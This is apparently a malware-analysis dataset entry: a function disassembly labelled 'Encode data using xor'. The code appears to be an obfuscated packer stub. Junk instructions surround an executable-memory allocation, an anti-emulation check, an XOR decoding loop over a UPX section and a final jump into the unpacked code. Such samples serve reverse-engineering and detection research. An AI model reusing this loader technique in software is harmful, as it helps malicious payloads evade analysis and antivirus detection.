Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x4ffed419
mov ebx, 0x2e4dae9
dec ebx
inc ebx
popal
add edi, ebx
not ebx
dec edi
mov edx, 0
mov ecx, esi
or ebx, ebx
sub ebx, 0xf9610bf8
mov edi, ecx
or ebx, eax
sub ebx, eax
dec eax
mov esi, edi
mov ebx, 0xb3bc6afd
or eax, ebx
inc edx
and eax, eax
or ebx, ebx
cmp edx, 0x100c04b
jne 0xa789c4
and ebx, ebx
mov ebx, eax
mov ebx, 0x238ce251
sub edi, ebx
and edi, ebx
mov ebx, 0xa78796
add edx, 0x30dc839
not esi
or esi, edx
mov edi, 0xa7898a
add ecx, ecx
dec esi
and ecx, esi
mov eax, dword [ebx]
dec edx
add edx, 1
and eax, 0xff
add edx, 0x7d6d56bf
add edx, edx
mov esi, 0x1863031f
xor dword [edi], eax
inc edx
mov esi, 0xc5c12812
add esi, esi
inc edi
not ecx
dec esi
inc ebx
and ecx, edx
add esi, ecx
cmp edi, entry0
jl 0xa78a15
dec esi
add edx, 0xdde753bd
mov ecx, edx
sub edx, 1
mov ecx, 0xd73b7627
mov esi, 0xdfb2d4f6
not esi
mov ecx, edi
mov edx, 0xa7898e
add edi, esi
sub ebx, 1
mov edx, dword [edx]
sub edi, 0xf6ed13a7
and ebx, ecx
add ecx, 0x9761a6c4
mov edx, dword [edx]
dec edi
add ebx, 0x412ed92e
sub edi, 0x9b896799
push edx
add ecx, ebx
sub ebx, 0xb09af9d6
mov edx, 0xa7898a
add esi, 0x6f319c69
and edi, esi
mov edx, dword [edx]
inc ebx
and ecx, ecx
add esi, 0x8d862ddc
mov edx, dword [edx]
inc ecx
add edi, ecx
sub edi, esi
push 0xa78992
dec ecx
dec edi
call edx
not ebx
sub ebx, esi
pop edx
sub esi, ebx
sub ecx, esi
add ebx, 1
push 0xa7899f
mov edi, 0x1e0c579a
not esi
inc ecx
sub esp, 4
mov dword [esp], eax
sub esi, 0xf467aaf9
not esi
call edx
not esi
sub edi, ecx
not ecx
push 0x40
not ebx
mov edi, ebx
sub esp, 4
mov dword [esp], 0x3000
not edi
mov esi, ecx
push 0x20000414
add ebx, 0x83dd68fe
sub esi, 0x5590600c
push 0
inc edi
not ebx
sub ecx, esi
call eax
and ecx, edi
add ecx, 1
mov esi, ebx
add eax, 0x20000374
sub ebx, ecx
sub edi, 0x17145508
mov edx, 0x62cc9aac
dec esi
or ebx, ebx
mov edi, 0x156d0be6
mov dword [eax], edx
inc ebx
sub esi, ebx
add ecx, 0x80b19a90
mov edx, dword [eax]
sub esi, 1
sub edi, 0xf96bf3ae
cmp edx, 0x62cc9aac
je 0xa78b7d
mov eax, 0
mov byte [eax], cl
add edi, esi
inc edi
mov ebx, esi
dec ebx
mov esi, 0xec569c82
inc ebx
sub ebx, edi
dec edi
mov edx, section.UPX1
and ebx, edi
sub ebx, edi
mov ecx, 0xa78795
mov ebx, edi
add edi, ebx
not ebx
mov eax, 0
or ebx, ebx
mov edi, ebx
mov esi, 0xa78796
inc edi
sub edi, 0x60f75f1f
lea esi, [eax + esi]
mov ebx, 0x6757aaa5
add ebx, 0x9bc00f31
mov esi, dword [esi]
or edi, edi
and edi, ebx
mov edi, ebx
and esi, 0xff
and ebx, edi
mov ebx, 0xe043bb0a
add eax, 1
mov edi, ebx
mov ebx, edi
not edi
cmp eax, 0x1f4
jne 0xa78bf1
mov eax, 0
or edi, ebx
mov edi, 0x6722f8f3
add edi, 0x8353b37e
or ebx, edi
sub edi, 0x52eb316e
xor dword [edx], esi
mov edi, ebx
inc ebx
add edx, 2
add edi, 0x60eeb818
add edi, 0x16061e28
cmp edx, ecx
jl 0xa78ba9
add ebx, edi
and edi, ebx
sub ebx, 0x4855c63b
mov edi, ebx
sub edi, ebx
mov eax, section.UPX1
not esi
add esi, edi
not edi
mov ebx, section.UPX1
inc esi
mov esi, 0xf832d3b4
mov edx, 0xa78795
add esi, 0x95a60c93
or esi, edi
mov ecx, 0
mov esi, 0xd57c6d27
or edi, edi
mov cl, byte [ebx]
sub esi, 1
sub esi, 0x731a1bac
sub edi, esi
mov byte [eax], cl
not esi
not esi
mov esi, edi
inc eax
sub esi, 0x6ae83064
not esi
add ebx, 2
add esi, 0xd6efa584
mov esi, 0x1255cc1b
cmp ebx, edx
jle 0xa78c62
sub edi, esi
sub esi, edi
and esi, edi
mov edi, ebx
mov ebx, edi
add ebx, 0xc077d572
push 0x8dc6a0
mov ebx, 0x8f4e7701
inc ebx
sub ebx, 0x111dd5cd
ret